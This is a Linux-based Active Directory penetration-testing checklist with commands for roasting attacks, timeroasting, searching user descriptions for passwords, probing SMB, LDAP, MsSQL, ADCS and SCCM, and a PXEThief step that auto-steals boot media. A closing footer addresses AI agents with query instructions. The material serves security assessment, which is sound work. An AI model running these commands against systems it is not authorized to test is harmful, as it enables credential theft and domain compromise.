# AD Testing Checklist (Linux)

## Shortlist

Short bullet point to jog your memory. If this is not enough, click on the check to get full notes.

1. [Confirm AD Access](#confirm-a-d-access-linux)
2. [Search for abusable ACLs (Bloodhound)](#search-for-abusable-acls-bloodhound)
3. [Search for passwords in user descriptions](#search-for-passwords-in-user-descriptions)
4. [Search for Kerberoastable accounts](#search-for-kerberoastable-accounts)
5. [Search for As-Rep Roastable accounts](#search-for-as-rep-roastable-accounts)
6. [Perform Timeroasting attack](#perform-timeroasting-attack)
7. [Check for default Machine Account Quota](#check-for-default-machine-account-quota)
8. [Check password policy](#check-password-policy)
9. [Check for active WebDAV clients](#check-for-active-webdav-clients)
10. [Check for missing SMB signing](#check-for-missing-smb-signing)
11. [Check for SMBv1 Support](#check-for-smbv1-support)
12. [Check for writable shares](#check-for-writable-shares)
13. [Check for sensitive data in shares](#check-for-sensitive-data-in-shares)
14. [Check for anonymous access](#check-for-anonymous-access)
15. [Check for Unconstrained Delegation (Non-DCs)](#check-for-unconstrained-delegation-non-dcs)
16. [Check LDAP Configuration](#check-ldap-configuration)
17. [Check MsSQL Configuration](#check-mssql-configuration)
18. [Check ADCS Configuration](#check-adcs-configuration)
19. [Check SCCM Configuration](#check-sccm-configuration)

## Extra Attacks

1. Coercion Attacks
   1. [Local Network Poisoning](/active-directory/coercion-and-relay.md#local-network-poisoning)
   2. [IPv6 MITM](/active-directory/coercion-and-relay.md#ipv6-attack)
   3. Stale Half-Duplex ARP
   4. WPAD
   5. WebDAV
   6. LNK file drop
2. [Password Spraying](/active-directory/active-directory-password-spraying.md)
3. ADIDNS Wildcard Attack (Dangerous and not well understood)

***

## Confirm AD Access (Linux)

**Define Shell Variables**

```bash
echo 'PASS_PROMPT() { local pw; read -s "pw?Password: "; echo "$pw"; unset pw; }' >> ~/.zshrc
read-setvar ADUSER 'Username of Active Directory account: '
read-setvar ADDOMAIN 'Domain of Active Directory account: '
read-setvar ADCONTROLLER 'Primary domain controller IP of target domain: '
```

{% hint style="info" %}
If you define the above variables, you can just copy and paste the below command into the terminal
{% endhint %}

**Sync Clock to Domain Controller**

```bash
sudo apt install ntpsec-ntpdate -y
sudo ntpdate $ADCONTROLLER
```

{% hint style="info" %}
Syncing the clock to the domain controller is VERY important for Kerberos and tools that utilize Kerberos
{% endhint %}

**Check access (NTLM)**

```bash
impacket-GetADUsers $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER
```

**Check access (Kerberos)**

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"># Get Kerberos TGT
impacket-getTGT $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER
export KRB5CCNAME=$(realpath $ADUSER.ccache)

# Make call using TGT
<strong>impacket-GetADUsers $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER -k -no-pass
</strong></code></pre>

{% hint style="info" %}
If you are getting the error:`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`, you need to sync your local lock to the DC. You can do this with `sudo ntpdate` $ADCONTROLLER
{% endhint %}

***

## Search for abusable ACLs (Bloodhound CE)

To search for abuseable ACLs, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound)is the tool of choice. For further informational about how to analyze the information once you collect it, see [Analyzing Data with Bloodhound](/active-directory/analyzing-data-with-bloodhound.md).

**Install Bloodhound.py**

{% code overflow="wrap" %}

```bash
pipx install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce
```

{% endcode %}

**Collect Data (NTLM)**

```bash
bloodhound-ce-python -u $ADUSER -d $ADDOMAIN -c All --zip
```

**Collect Data (Kerberos)**

{% code overflow="wrap" %}

```bash
bloodhound-ce-python -u $ADUSER -d $ADDOMAIN -p "" -k --auth-method kerberos -no-pass -c All --zip
```

{% endcode %}

{% hint style="danger" %}
The above has given me some issues during testing and sometimes reverted to NTLM instead of Kerberos. If you have issues, try using the NTLM version which will often attempt to use Kerberos regardless.
{% endhint %}

**Collect Data (w/ Channel Binding)**

The current Bloodhound.py does not support connection to LDAPS that has channel binding. In my experience, it will throw a vague issue related to a failed connection or invalid address (`ldap3.core.exceptions.LDAPSocketOpenError: invalid server address`). There is a pull request out there that fixes this issue but it has not been merged so far (it has been waiting about half a year). Therefore, you will have to manually install a forked version from deadjakk that supports channel binding. You will also need a forked version of LDAP3 to run the forked version of bloodhound.py.

{% code overflow="wrap" %}

```bash
sudo apt remove bloodhound.py -y
mkdir bloodhound-new
cd bloodhound-new
virtualenv venv
source ./venv/bin/activate
git clone https://github.com/deadjakk/BloodHound.py.git
cd BloodHound.py
pip3 install .
pip3 install git+https://github.com/ly4k/ldap3  # Fork of ldap3 needed
bloodhound-python -u $ADUSER -d $ADDOMAIN -c All --zip --ldap-channel-binding
```

{% endcode %}

***

## Search for passwords in user descriptions

{% hint style="info" %}
Run the following commands against the unzipped Bloodhound.py output
{% endhint %}

**Install JQ**

```bash
sudo apt install jq -y
```

**Search for quick hits**

{% code overflow="wrap" %}

```bash
cat *users.json | jq . | grep -E '"description":|"name":|"AllowedToDelegate":' | sed 's/"AllowedToDelegate": \[\],//g' | tr -d '",' | grep -B 1 -iE "password|pw"
```

{% endcode %}

**List sorted user descriptions (Full Review)**

{% code overflow="wrap" %}

```bash
cat *users.json | jq . | grep -E '"description":' | sed 's/"description": //g' | tr -d '",' | sort -u
```

{% endcode %}

***

## Search for Kerberoastable accounts

Search for all SPNs in the domain that are vulnerable to Kerberoasting. For exploit information, see [Kerberoasting](/active-directory/kerberoasting.md).

{% hint style="info" %}
Searching for affected accounts can also be done easily using [Bloodhound](/active-directory/analyzing-data-with-bloodhound.md)
{% endhint %}

**Check for affected accounts (NTLM)**

```bash
impacket-GetUserSPNs $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER
```

**Check for affected accounts (Kerberos)**

{% code overflow="wrap" %}

```bash
impacket-GetUserSPNs $ADDOMAIN/$ADUSER -no-pass -k -dc-ip $ADCONTROLLER
```

{% endcode %}

***

## Search for As-Rep Roastable accounts

Search for all user accounts that do not require pre-authentication. For exploit information, see [As-Rep Roasting](https://notes.sixthcyber.com/active-directory/as-rep-roasting).

**Check for affected accounts (NTLM)**

```bash
impacket-GetNPUsers $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER
```

**Check for affected accounts (Kerberos)**

{% code overflow="wrap" %}

```bash
impacket-GetNPUsers $ADDOMAIN/$ADUSER -no-pass -k -dc-ip $ADCONTROLLER
```

{% endcode %}

***

## Perform Timeroasting attack

**Timeroast via RID Bruit Force**

```bash
# Using NXC version >= 1.4
nxc smb $ADCONTROLLER -M timeroast --log nxc-timeroast.txt
```

***

## Check for default Machine Account Quota

**Get Machine Account Quota (NTLM)**

{% code overflow="wrap" %}

```bash
nxc ldap $ADCONTROLLER -M maq -u $ADUSER -d $ADDOMAIN -p $(PASS_PROMPT) --log MAQ.log
```

{% endcode %}

**Get Machine Account Quota (Kerberos)**

```bash
nxc ldap $ADCONTROLLER -M maq -k --use-kcache --log MAQ.log
```

**Get Machine Account Quota (NTLM) - Alternate**

{% code overflow="wrap" %}

```bash
ldapsearch -x -H ldap://$ADCONTROLLER -b 'DC=<DOMAIN NAME>,DC=<DOMAIN TLD>' -D "$ADUSER@$ADDOMAIN" -W -s sub "(objectclass=domain)" | grep ms-DS-MachineAccountQuota 
```

{% endcode %}

***

## Check password policy

**Get Password Policy (NTLM)**

{% code overflow="wrap" %}

```bash
nxc smb $ADCONTROLLER -u $ADUSER -d $ADDOMAIN -p $(PASS_PROMPT) --pass-pol --log PassPol.log
```

{% endcode %}

{% hint style="info" %}
Note that `$(read -sp "PWD: " PWD;echo $PWD)` is used to prompt for a password instead of putting it into the terminal. However, this leaves a cleartext password in the `$PWD` variable in the current shell sessions, so it is overwritten using `PWD=""` at the end of the command.
{% endhint %}

***

## Check for active WebDAV clients

### Method 1 (WebClientScanner) - Faster

**Install**

{% code overflow="wrap" %}

```bash
pipx install git+https://github.com/Hackndo/WebclientServiceScanner
```

{% endcode %}

**NTLM**

{% code overflow="wrap" %}

```bash
webclientservicescanner $ADDOMAIN/$ADUSER@$ACTIVE -dc-ip $ADCONTROLLER | tee WebDAV-Scan.txt
```

{% endcode %}

**Kerberos**

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>webclientservicescanner $ADDOMAIN/$ADUSER@$ACTIVE -no-pass -k -dc-ip $ADCONTROLLER | tee WebDAV-Scan.txt
</strong></code></pre>

### Method 2 (NetExec) - CSV Output

**Scan hosts**

{% code overflow="wrap" %}

```bash
nxc smb $ACTIVE -M webdav -u "$ADUSER" -d "$ADDOMAIN" -p $(PASS_PROMPT) --log WebDAV.log
```

{% endcode %}

**Create affected host CSV**

{% code overflow="wrap" %}

```bash
cat WebDAV.log | grep -a WEBDAV | grep -vE 'STATUS_ACCESS_DENIED|STATUS_OBJECT_PATH_NOT_FOUND' | awk -F' ' 'NR==1{print "IP(s),Hostname,Port"};{print $9","$11","$10"/tcp"}' > WebDAV-Service-Enabled.csv
```

{% endcode %}

***

## Check for missing SMB signing

{% code overflow="wrap" %}

```bash
nxc smb $ACTIVE --log Missing-SMB-Signing.log
grep "signing:False" Missing-SMB-Signing.log | sed -E 's/\(name:[^)]*\)//g;s/\(domain:[^)]*\)//g;s/\(SMBv1:[^)]*\)//g;s/[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} \| smb\.py:[0-9]+ - INFO - SMB\s+//' | grep --color=always -e "^" -e "signing:False"
```

{% endcode %}

***

## Check for SMBv1 Support

{% code overflow="wrap" %}

```bash
nxc smb $ACTIVE --log SMBv1-Support.log
grep "SMBv1:True" SMBv1-Support.log | sed -E 's/\(name:[^)]*\)//g;s/\(domain:[^)]*\)//g;s/\(signing:[^)]*\)//g;s/[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} \| smb\.py:[0-9]+ - INFO - SMB\s+//' | grep --color=always -e "^" -e "SMBv1:True"
```

{% endcode %}

***

## Check for writable shares

**NTLM**

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>nxc smb $ACTIVE -u $ADUSER -d $ADDOMAIN -p $(PASS_PROMPT) --shares --log SMB-Shares.log
</strong><strong>grep "WRITE" SMB-Shares.log
</strong></code></pre>

***

## Check for sensitive data in shares

**Collect Info (NTLM)**

{% code overflow="wrap" %}

```bash
# Install
pipx install git+https://github.com/mdube99/shrawler

# Run
shrawler $ADDOMAIN/$ADUSER@$ADCONTROLLER --hosts $ACTIVE --spider
```

{% endcode %}

{% hint style="info" %}
See [Searching SMB Shares](/active-directory/searching-smb-shares.md) for info
{% endhint %}

***

## Check for anonymous access

{% code overflow="wrap" %}

```bash
nxc smb $ACTIVE -u " " -p " " --local-auth --shares --log Anonymous-SMB.log
grep "[+]" Anonymous-SMB.log
```

{% endcode %}

***

## Check for Unconstrained Delegation (Non-DCs)

**Delegations (Preferred)**

```bash
go install github.com/TheManticoreProject/Delegations@latest
Delegations audit --dc-ip "$ADCONTROLLER" -d "$ADDOMAIN" -u "$ADUSER" -p "$(PASS_PROMPT)" | tee delegation-scan.txt
```

**Bloodhound CE Query**

<pre class="language-sql" data-overflow="wrap"><code class="lang-sql"><strong>MATCH (dc)-[:MemberOf*0..]->(dg:Group)
</strong>WHERE dg.objectid ENDS WITH '-516'
WITH COLLECT(dc) AS domainControllers
MATCH (m)
WHERE m.unconstraineddelegation = true AND NOT m IN domainControllers
RETURN m
</code></pre>

{% hint style="warning" %}
This query will also list disabled objects. Make sure to investigate the context of the Unconstrained Delegation object before reporting!
{% endhint %}

**Get list of affected objects from JSON Bloodhound query export**

{% code overflow="wrap" %}

```bash
jq -r '.data.nodes[] | .label' bh-graph.json | tr '[:upper:]' '[:lower:]' | sort -u
```

{% endcode %}

***

## Check LDAP Configuration

**NTLM**

{% code overflow="wrap" %}

```bash
nxc ldap $ACTIVE -M ldap-checker -u $ADUSER -d $ADDOMAIN -p $(PASS_PROMPT) --log LDAP-Signing_Binding.log
```

{% endcode %}

**Create CSV Output**

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>CHANNEL_BINDING=$(grep -E 'LDAPS Channel Binding is set to "NEVER"' LDAP-Signing_Binding.log | awk -F' ' '{print $9",636/tcp,"$11",LDAP Channel Binding not Enforced"}' | sort -uV)
</strong><strong>LDAP_SIGNING=$(grep 'LDAP Signing NOT Enforced!' LDAP-Signing_Binding.log | awk -F' ' '{print $9","$10"/tcp,"$11",LDAP Signing not Enforced"}' | sort -uV)
</strong><strong>echo "IP(s),Port,Hostname,Issue$COMBINED_RESULTS" > Insecure-LDAP-Authentication.csv
</strong>echo -e "$LDAP_SIGNING\n$CHANNEL_BINDING" | awk 'BEGIN{FS=OFS=","} NR==1{next} {for(i=2;i&#x3C;=NF;i++) if(!seen[$1,$i,i]++) grp[$1,i]=(grp[$1,i]==""?"":grp[$1,i] ($i!=""?", ":"")) $i; else grp[$1,i]=grp[$1,i]} END{for(x in grp){split(x,tmp,SUBSEP); join[tmp[1]]=(join[tmp[1]]==""?"":join[tmp[1]] OFS) "\""grp[x]"\""} for(x in join) print x, join[x]}' >> Insecure-LDAP-Authentication.csv
</code></pre>

***

## Check MsSQL Configuration

**Install MsSQLRelay**

```bash
pipx install git+https://github.com/CompassSecurity/mssqlrelay
```

**Run all checks (Coercion, Command Execution, Signing)**

{% code overflow="wrap" %}

```bash
grep '1433/open/tcp' $NMAP_TCP_GNMAP_OUTPUT| cut -d ' ' -f 2 | sort -uV > mssql.hosts
PSW=$(PASS_PROMPT);echo;while read MSSQL_SERVER; do mssqlrelay check -target $MSSQL_SERVER -ns $ADCONTROLLER -u $ADUSER@$ADDOMAIN -p $PSW 2> /dev/null | tee -a MsSQL_Search.txt; done < mssql.hosts
```

{% endcode %}

{% hint style="info" %}
Look for the following vulnerabilities

* Missing Signing/Channel Binding = `Encryption: not enforced`
* Coercible = `Privileges: ['xp_dirtree', 'xp_fileexist']` (Either one)
* Command Execution: `Privileges: ['xp_cmdshell']` (I'm not sure if mssqlrelay checks for this)
  {% endhint %}

**Create CSV of Missing EPA**

{% code overflow="wrap" %}

```bash
grep "Encryption: not enforced" -B 2 MsSQL_Search.txt | grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort -u | awk -F' ' 'NR==1{print "IP,Port"};{print $3"/tcp"}' | tr -d '()' | tr ':' ',' > MsSQL-Missing-EPA.csv
```

{% endcode %}

***

## Check ADCS Configuration

**Install Certipy**

```bash
pipx install git+https://github.com/ly4k/Certipy.git
```

**Run all checks**

{% code overflow="wrap" %}

```bash
certipy find -u "$ADUSER@$ADDOMAIN" -dc-ip $ADCONTROLLER -stdout -vulnerable | tee ADCS-Vuln.txt
```

{% endcode %}

**Check for CA when Certipy does not find CA**

```bash
nxc smb $ACTIVE -u $ADUSER -d $ADDOMAIN -p $(PASS_PROMPT) --shares --log ADCS.log;PSW=""
grep -i "cert" ADCS.log
```

{% hint style="info" %}
Exploit Information can be found at [ADCS Exploitation](https://github.com/d-woosley/sixthcyber-notes/blob/main/active-directory/adcs-exploitation.md)
{% endhint %}

***

## Check SCCM Configuration

**Install Tools**

{% code overflow="wrap" %}

```bash
# Install SCCMHuneter
git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
chmod +x *.py
virtualenv venv
source ./venv/bin/activate
pip install -r requirements.txt
cd ../

# Install PXETheif
git clone https://github.com/MWR-CyberSec/PXEThief
cd PXEThief
sed -i '/pywin32>=303/d' requirements.txt  # This module is not supported on linux
pip install -r requirements.txt
cd ../
```

{% endcode %}

**Find SCCM Server (w/ SCCMHunter)**

{% code overflow="wrap" %}

```bash
python3 sccmhunter/sccmhunter.py find -u $ADUSER -d $ADDOMAIN -dc-ip $ADCONTROLLER
```

{% endcode %}

**Search for SCCM user accounts (Bloodhound data)**

{% code overflow="wrap" %}

```bash
cat *users.json | jq -r .data[].Properties.name | grep -Ei 'naa|sccm|client.push'
```

{% endcode %}

**Send PXE Boot Request via DHCP (PXEThief)**

```bash
sudo python3 PXEThief/pxethief.py 1
```

{% hint style="danger" %}
This will not only send the request, but also auto exploit by downloading the encrypted media file and attempting to steal data if there is no password.
{% endhint %}

{% hint style="info" %}
If you know the SCCM server IP, you can use: `pxethief.py 2 <SCCM SERVER IP>`
{% endhint %}

**Check for Open SCCM Ports**

{% code overflow="wrap" %}

```bash
sudo nmap -sS -iL $ACTIVE -T4 --open -oA Nmap_SCCM_TCP_Scan_$(date +"%b-%d-%Y") -p 8530-8531,49152-49159,10123
sudo nmap -sU -iL $ACTIVE -T4 --open -oA Nmap_SCCM_UDP_Scan_$(date +"%b-%d-%Y") -p 4011

# Search for hits
cat Nmap_SCCM_*_Scan_*.gnmap | grep open | grep -vE "filtered|scan initiated" 
```

{% endcode %}

{% hint style="info" %}
It's not uncommon to see a lot of these ports open even when SCCM is not enabled. Check the output carefully
{% endhint %}

{% hint style="info" %}
Exploit Information can be found at [SCCM Exploitation](/active-directory/sccm-exploitation.md)
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.sixthcyber.com/active-directory/ad-testing-checklist-linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
